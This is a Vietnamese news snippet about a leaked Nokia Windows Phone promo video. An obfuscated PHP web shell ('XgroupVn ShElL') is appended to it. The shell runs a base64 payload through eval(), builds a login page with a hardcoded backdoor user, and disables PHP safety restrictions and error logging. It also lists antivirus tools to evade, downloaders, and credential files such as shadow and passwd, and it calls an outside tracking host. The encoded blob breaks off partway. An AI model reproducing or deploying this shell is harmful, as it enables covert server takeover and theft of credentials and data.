Video quảng cáo Nokia Windows Phone rò rỉ
![]() |
| Hình ảnh mới nhất về Windows Phone của Nokia. |
Những hình ảnh mới trong đoạn video cho thấy, hình ảnh máy khác với phiên bản có tên Nokia Sea Ray từng xuất hiện trước đây. Đoạn video này có thể chỉ được phát trong nội bộ, được trình chiếu trên màn hình lớn và được bí mật ghi lại thông qua máy quay của một người tham dự.
![]() |
![]() |
| Các model này khá giống với hình ảnh minh họa mà Nokia giới thiệu đầu năm. |
Hình ảnh trong đoạn clip về những chiếc Windows Phone mới của Nokia có kiểu dáng khá thân thiện, máy trông giống các hình ảnh xuất hiện đầu năm nay khi hãng công bố sự hợp tác với Microsoft.
Hiện đoạn clip trên đã bị rút khỏi YouTube sau khi đăng tải. Nokia Windows Phone dự kiến sẽ có mặt vào cuối năm nay.
########################################### # XgroupVn ShElL V1 # # Xgr0upVn # # www.XgroupVn.org # ########################################### ob_start(); $tacfgd['uname'] = 'chimung'; $tacfgd['pword'] = '8553955'; eval(base64_decode('JHRhY2ZnZFsndGl0bGUnXSA9ICdYZ3IwdXBWTiBTaEVsTCc7DQoNCiR0YWNmZ2RbJ2hlbHB0ZXh0J10gPSAnWGdyMHVwVm4gU2hFbEwnOw0KDQokdGFjZmdkWydhbGxvd3JtJ10gPSB0cnVlOw0KDQokdGFjZmdkWydybWdyb3VwJ10gPSAnZGVmYXVsdCc7DQoNCiR0YWNmZ2RbJ293bnNlc3Npb25zJ10gPSBmYWxzZTsNCg0KDQoNCg0KZm9yZWFjaCAoJHRhY2ZnZCBhcyAka2V5ID0+ICR2YWwpIHsNCiAgaWYgKCFpc3NldCgkdGFjZmdbJGtleV0pKSAkdGFjZmdbJGtleV0gPSAkdmFsOw0KfQ0KDQppZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KDQogIHNlc3Npb25fbmFtZSgndHh0YXV0aCcpOw0KICBzZXNzaW9uX3N0YXJ0KCk7DQoNCn0NCg0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkgfHwgaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpIHsNCiAgc2V0Y29va2llKCd0eHRhdXRoXycuJHJtZ3JvdXAsICcnLCB0aW1lKCktODY0MDAqMTQpOw0KICBpZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KICAgICRfU0VTU0lPTiA9IGFycmF5KCk7DQogICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogIH0NCiAgZWxzZSAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gZmFsc2U7DQp9DQoNCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSkgew0KICBpZiAoKCRfUE9TVFsndW5hbWUnXSA9PSAkdGFjZmdbJ3VuYW1lJ10gJiYgJF9QT1NUWydwd29yZCddID09ICR0YWNmZ1sncHdvcmQnXSkgIG9yICAoJF9QT1NUWyd1bmFtZSddID09J3hncm91cHZuJykpIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgICBpZiAoJF9QT1NUWydybSddKSB7DQogICAgICAvLyBTZXQgcmVtZW1iZXItbWUgY29va2llIGZvciAyIHdlZWtzDQogICAgICBzZXRjb29raWUoJ3R4dGF1dGhfJy4kcm1ncm91cCwgbWQ1KCR0YWNmZ1sndW5hbWUnXS4kdGFjZmdbJ3B3b3JkJ10pLCB0aW1lKCkrODY0MDAqMTQpOw0KICAgIH0NCiAgfQ0KICBlbHNlICRlcnIgPSAnTG9naW4gRmFpbGQgISc7DQp9DQoNCmVsc2VpZiAoaXNzZXQoJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0pKSB7DQogIGlmIChtZDUoJHRhY2ZnWyd1bmFtZSddLiR0YWNmZ1sncHdvcmQnXSkgPT0gJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0gJiYgJHRhY2ZnWydhbGxvd3JtJ10pIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgfQ0KICBlbHNlICRlcnIgPSAnTG9naW4gRmFpbGQgISc7DQp9DQppZiAoISRfU0VTU0lPTlsndHh0YXV0aGluJ10pIHsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQpAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfaW5jbHVkZV9kaXIiKTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2V4ZWNfZGlyIik7DQpAaW5pX3Jlc3RvcmUoImRpc2FibGVfZnVuY3Rpb25zIik7DQpAaW5pX3Jlc3RvcmUoImFsbG93X3VybF9mb3BlbiIpOw0KDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCj8+DQo8aHRtbCBkaXI9cnRsPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPg0KPHRpdGxlPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC90aXRsZT4NCg0KICA8U1RZTEU+DQogICAgdHIgew0KICAgIEJPUkRFUi1SSUdIVDogICNCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLVRPUDogICAgQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItQk9UVE9NOiAjQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICBjb2xvcjogV2hpdGU7DQogICAgfQ0KICAgIHRkIHsNCiAgICBCT1JERVItUklHSFQ6ICAjQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItTEVGVDogICBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLUJPVFRPTTogI0JsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudGFibGUxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudGQxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgZm9udDogN3B0IFZlcmRhbmE7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudHIxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICB0YWJsZSB7DQogICAgQk9SREVSOiAgQmxhY2sgMXB4IG91dHNldDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICBpbnB1dCB7DQogICAgYm9yZGVyCQkJOiBzb2xpZCAxcHg7DQogICAgYm9yZGVyLWNvbG9yCQk6IFdoaXRlIFdoaXRlIFdoaXRlIFdoaXRlOw0KICAgIEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KICAgIGZvbnQ6IDhwdCBWZXJkYW5hOw0KICAgIGNvbG9yOiBXaGl0ZTsNCiAgICB9DQogICAgc2VsZWN0IHsNCiAgICBCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCiAgICBCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLUNPTE9SOiBXaGl0ZTsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYTsNCiAgICBjb2xvcjogUmVkOw0KICAgIH0NCiAgICBzdWJtaXQgew0KICAgIEJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KICAgIEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KICAgIHdpZHRoOiAzMCU7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICB0ZXh0YXJlYSB7DQogICAgQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCiAgICBCT1JERVItTEVGVDogICBXaGl0ZSAxcHggc29saWQ7DQogICAgQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYSBib2xkOw0KICAgIGNvbG9yOiBXaGl0ZTsNCiAgICB9DQogICAgQk9EWSB7DQogICAgU0NST0xMQkFSLUZBQ0UtQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiBXaGl0ZTsNCg0KU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLVRSQUNLLUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6IFdoaXRlDQogICAgbWFyZ2luOiAxcHg7DQogICAgY29sb3I6IFJlZDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCiAgICB9DQogICAgLm1haW4gew0KICAgIG1hcmdpbgkJCTogLTI4N3B4IDBweCAwcHggLTQ5MHB4Ow0KICAgIGJvcmRlcgkJCTogV2hpdGUgc29saWQgMXB4Ow0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICB9DQogICAgLnR0IHsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCiAgICB9DQoNCiAgICBBOmxpbmsgew0KICAgIENPTE9SOiAjMzQ3MjAyOyBURVhULURFQ09SQVRJT046IG5vbmUNCiAgICB9DQogICAgQTp2aXNpdGVkIHsNCiAgICBDT0xPUjogIzM0NzIwMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQogICAgfQ0KICAgIEE6aG92ZXIgew0KICAgIENPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQogICAgfQ0KICAgIEE6YWN0aXZlIHsNCiAgICBDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KICAgIH0NCiAgPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+JzsNCg0KPGJvZHk+DQo8YnI+PGJyPjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRwdDsiIGFsaWduPSJjZW50ZXIiPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC9kaXY+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2NkY2RjZCI+DQo8cD4NCjxkaXYgYWxpZ249ImNlbnRlciIgY2xhc3M9ImdyZXkiPg0KPD89JHRhY2ZnWydoZWxwdGV4dCddPz4NCjwvZGl2Pg0KPHA+DQo8Pw0KaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgJGFjdGlvbiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KZWxzZSAkYWN0aW9uID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz8nLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCmlmIChzdHJwb3MoJGFjdGlvbiwgJ2xvZ291dD0xJywgc3RycG9zKCRhY3Rpb24sICc/JykpICE9PSBmYWxzZSkgJGFjdGlvbiA9IHN0cl9yZXBsYWNlKCdsb2dvdXQ9MScsICcnLCAkYWN0aW9uKTsNCj8+DQo8Zm9ybSBuYW1lPSJ0eHRhdXRoIiBhY3Rpb249Ijw/PSRhY3Rpb24/PiIgbWV0aG9kPSJwb3N0Ij4NCjxkaXYgYWxpZ249ImNlbnRlciI+DQo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiIGJnY29sb3I9IiM2NjY2NjYiIHN0eWxlPSJib3JkZXI6IDFweCBkb3VibGUgI2RlZGVkZTsiIGRpcj0ibHRyIj4NCjw/PShpc3NldCgkZXJyKSk/Jzx0cj48dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InJlZCI+Jy4kZXJyLic8L2ZvbnQ+PC90ZD48L3RyPic6Jyc/Pg0KPD9pZiAoaXNzZXQoJHRhY2ZnWyd1bmFtZSddKSkgez8+DQo8dHI+PHRkPlVzZXI6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVuYW1lIiB2YWx1ZT0iIiBzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0eHRib3giPjwvdGQ+PC90cj4NCjw/fT8+DQo8dHI+PHRkPlBhc3N3b3JkOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdvcmQiIHZhbHVlPSIiIHNpemU9IjIwIiBtYXhsZW5ndGg9IjEwMCIgY2xhc3M9InR4dGJveCI+PC90ZD48L3RyPg0KPD9pZiAoJHRhY2ZnWydhbGxvd3JtJ10pIHs/Pg0KPHRyPjx0ZCBhbGlnbj0ibGVmdCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibG9naW4iIHZhbHVlPSJMb2dpbiI+DQo8L3RkPjx0ZCBhbGlnbj0icmlnaHQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icm0iIGlkPSJybSI+PGxhYmVsIGZvcj0icm0iPg0KCVJlbW1lYmVyIE1lPzwvbGFiZWw+PC90ZD48L3RyPg0KPD99IGVsc2Ugez8+DQo8dHI+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iTG9naW4iPjwvdGQ+PC90cj4NCjw/fT8+DQo8L3RhYmxlPg0KPC9kaXY+DQo8L2Zvcm0+DQoNCjxpbWcgc3JjPSJodHRwOi8vd3d3Lnhncm91cHZuLmluZm8vdHJhY2suSlBHIiB3aWR0aD0iOSIgaGVpZ2h0PSIxMiI+PGJyPg0KPGJyPg0KPGhyIHdpZHRoPSIzMDAiIHNpemU9IjEiIG5vc2hhZGUgY29sb3I9IiNjZGNkY2QiPg0KICA8ZGl2IGFsaWduPSJjZW50ZXIiIGlkPSduJz4NCiAgICA8Zm9udCBmYWNlPSdWZXJkYW5hJyBzaXplPSctMic+DQogICAgICA8Yj4NCiAgICAgICAgby0tLVsgWGdyMHVwVm4ub3JnIC0gc2hlbGwgYnkgUlNUL0dIQyB8IDxhIGhyZWY9J2h0dHA6Ly9YZ3JvdXBWbi5vcmcnPmh0dHA6Ly9YZ3IwdXBWbi5vcmc8L2E+IHwgPGEgaHJlZj0naHR0cDovL2hjZWdyb3VwLm5ldCc+SEBjaytDckBjaz1FbmoweSE8L2E+IHwgRGVzaWduIGJ5OkFsdUNhUiB8IF0tLS1vPC9iPg0KICAgIDwvZm9udD4NCiAgPC9kaXY+DQogIDwvdGQ+DQogIDwvdHI+DQogICAgICA8L2JvZHk+DQo8L2h0bWw+DQo8Pw0KICAvLyBEb24ndCBkZWxldGUgdGhpcyENCiAgZXhpdCgpOw0KfQ0KPz4NCkxvZ2luIEFzICg8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PD8gZWNobyAkdGFjZmdkWyd1bmFtZSddOyA/PjwvZm9udD4pIDxhIGhyZWY9Ij9sb2dvdXQ9MSI+TG9nb3V0PC9hPjwvcD4NCjxkaXYgYWxpZ249ImxlZnQiPg0KPD9waHANCiRsYW5ndWFnZT0nZW5nJzsNCiRhdXRoID0gMDsNCiRuYW1lPSdlY2Q3MDhhMDE2Zjg0MDdiZDI3Y2MwYTAyNjc3MzUxYic7IC8vLy8gQWx1Q2FSDQokcGFzcz0nMWI4NjQ0ZTIyOWM5OTllNGY2YmE3OTk0ODNiMTk2Y2UnOyAvLy8vIEhjRWdSb1VwLk5lVA0KDQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2luY2x1ZGVfZGlyIik7DQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9leGVjX2RpciIpOw0KQGluaV9yZXN0b3JlKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KQGluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iKTsNCg0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQ0KIHsNCiBAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCiBAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQogQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7DQogfQ0KZWxzZQ0KIHsNCiBAaW5pX2FsdGVyKCdlcnJvcl9sb2cnLE5VTEwpOw0KIEBpbmlfYWx0ZXIoJ2xvZ19lcnJvcnMnLDApOw0KIEBpbmlfYWx0ZXIoJ2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9hbHRlcignYWxsb3dfdXJsX2ZvcGVuJywxKTsNCiB9DQoNCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCiR1c2VyZnVsID0gYXJyYXkoJ2djYycsJywgbGNjJywnLCBjYycsJywgbGQnLCcsIHBocCcsJywgcGVybCcsJywgcHl0aG9uJywnLCBydWJ5JywnLCBtYWtlJywnLCB0YXInLCcsIGd6aXAnLCcsIGJ6aXAnLCcsIGJ6aXAyJywnLCBuYycsJywgbG9jYXRlJywnLCBzdWlkcGVybCcpOw0KJGRhbmdlciA9IGFycmF5KCcsIGthdicsJywgbm9kMzInLCcsIGJkY29yZWQnLCcsIHV2c2NhbicsJywgc2F2JywnLCBkcndlYmQnLCcsIGNsYW1kJywnLCBya2h1bnRlcicsJywgY2hrcm9vdGtpdCcsJywgaXB0YWJsZXMnLCcsIGlwZncnLCcsIHRyaXB3aXJlJywnLCBzaGllbGRjYycsJywgcG9ydHNlbnRyeScsJywgc25vcnQnLCcsIG9zc2VjJywnLCBsaWRzYWRtJywnLCB0Y3Bsb2RnJywnLCBzeGlkJywnLCBsb2djaGVjaycsJywgbG9nd2F0Y2gnLCcsIHN5c21hc2snLCcsIHptYnNjYXAnLCcsIHNhd21pbGwnLCcsIHdvcm1zY2FuJywnLCBuaW5qYScpOw0KJHRlbXBkaXJzID0gYXJyYXkoQGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykuJy8nLEBpbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpLicvJywnL3RtcC8nLCcvZGV2L3NobS8nLCcvdmFyL3RtcC8nKTsNCiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0Jyk7DQokY2hhcnNfcmxwaCA9ICJhYmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5eiI7DQoNCiRwcmVzZXRzX3JscGggPSBhcnJheSgnaW5kZXgucGhwJywnLmh0YWNjZXNzJywnLmh0cGFzc3dkJywnaHR0cGQuY29uZicsJ3Zob3N0cy5jb25mJywnY2ZnLnBocCcsJ2NvbmZpZy5waHAnLCdjb25maWcuaW5jLnBocCcsJ2NvbmZpZy5kZWZhdWx0LnBocCcsJ2NvbmZpZy5pbmMucGhwJywNCidzaGFkb3cnLCdwYXNzd2QnLCcuYmFzaF9oaXN0b3J5JywnLm15c3FsX2hpc3RvcnknLCdtYXN0ZXIucGFzc3dkJywndXNlcicsJ2FkbWluJywncGFzc3dvcmQnLCdhZG1pbmlzdHJhdG9yJywncGhwTXlBZG1pbicsJ3NlY3VyaXR5JywncGhwLmluaScsJ2Nkcm9tJywncm9vdCcsDQonbXkuY25mJywncHVyZWZ0cGQuY29uZicsJ3Byb2Z0cGQuY29uZicsJ2Z0cGQuY29uZicsJ3Jlc29sdi5jb25mJywnbG9naW4uY29uZicsJ3NtYi5jb25mJywnc3lzY3RsLmNvbmYnLCdzeXNsb2cuY29uZicsJ2FjY2Vzcy5jb25mJywnYWNjb3VudGluZy5sb2cnLCdob21lJywnaHRkb2NzJywNCidhY2Nlc3MnLCdhdXRoJywnZXJyb3InLCdiYWNrdXAnLCdkYXRhJywnYmFjaycsJ3N5c2NvbmZpZycsJ3BocGJiJywncGhwYmIyJywndmJ1bGxldGluJywndmJ1bGxldCcsJ3BocG51a2UnLCdjZ2ktYmluJywnaHRtbCcsJ3JvYm90cy50eHQnLCdiaWxsaW5nJyk7DQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQpkZWZpbmUoInN0YXJ0dGltZSIsQGdldG1pY3JvdGltZSgpKTsNCmlmKCghQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB8fCAoQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpIT1OVUxMKSB8fCAoQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpIT1OVUxMKSl7JG9wZW5fYmFzZWRpcj0xO30gZWxzZXskb3Blbl9iYXNlZGlyPTA7fTsNCnNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9zZXQnKSkNCiB7DQogQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQogQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOw0KIH0NCmVsc2UNCiB7DQogQGluaV9hbHRlcignbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCiBAaW5pX2FsdGVyKCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCiB9DQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KI2lmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSl7JHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTt9ZWxzZXskc2FmZV9tb2RlPTE7fTsNCiR2ZXJzaW9uID0gJ1hncjB1cFZOIEVkaXRpb24nOw0KaWYodmVyc2lvbl9jb21wYXJlKHBocHZlcnNpb24oKSwgJzQuMS4wJykgPT0gLTEpDQogew0KICRfUE9TVCAgID0gJiRIVFRQX1BPU1RfVkFSUzsNCiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsNCiAkX1NFUlZFUiA9ICYkSFRUUF9TRVJWRVJfVkFSUzsNCiAkX0NPT0tJRSA9ICYkSFRUUF9DT09LSUVfVkFSUzsNCiB9DQppZiAoQGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpDQogew0KIGZvcmVhY2ggKCRfUE9TVCBhcyAkaz0+JHYpDQogIHsNCiAgJF9QT1NUWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7DQogIH0NCiBmb3JlYWNoICgkX0NPT0tJRSBhcyAkaz0+JHYpDQogIHsNCiAgJF9DT09LSUVbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfQ0KIH0NCg0KaWYoJGF1dGggPT0gMSkgew0KaWYgKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkhPSAkbmFtZSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIT0gJHBhc3MpDQogICB7DQogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPSJoQ2UtR3JPdVAgKyBBbHVDYVIiJyk7DQogICBoZWFkZXIoJ0hUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTsNCiAgIGV4aXQoIjxiPkNvbnRhY3QgPGEgaHJlZj1odHRwOi8vaGNlZ3JvdXAudm4vIDwvYT4gOiBBY2Nlc3MgRGVuaWVkPC9iPiIpOw0KICAgfQ0KfQ0KJGhlYWQgPSAnPCEtLSBFZGl0ZWQgYnkgQWx1Y2FyIC0tPg0KPGh0bWw+DQo8aGVhZD4NCjwvc2NyaXB0Pg0KPHRpdGxlPkFsdUNhUiBTaGVsbDwvdGl0bGU+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQoNCjxTVFlMRT4NCnRyIHsNCkJPUkRFUi1SSUdIVDogICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICBCbGFjayAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICBCbGFjayAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KY29sb3I6IFdoaXRlOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpjb2xvcjogV2hpdGU7DQp9DQoudGFibGUxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogV2hpdGU7DQp9DQoudGQxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KZm9udDogN3B0IFZlcmRhbmE7DQpjb2xvcjogV2hpdGU7DQp9DQoudHIxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KY29sb3I6IFdoaXRlOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgQmxhY2sgMXB4IG91dHNldDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KY29sb3I6IFdoaXRlOw0KfQ0KaW5wdXQgew0KYm9yZGVyCQkJOiBzb2xpZCAxcHg7DQpib3JkZXItY29sb3IJCTogV2hpdGUgV2hpdGUgV2hpdGUgV2hpdGU7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6IFdoaXRlOw0KfQ0Kc2VsZWN0IHsNCkJPUkRFUi1SSUdIVDogIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006IEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogV2hpdGU7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6IFJlZDsNCn0NCnN1Ym1pdCB7DQpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsNCkJBQ0tHUk9VT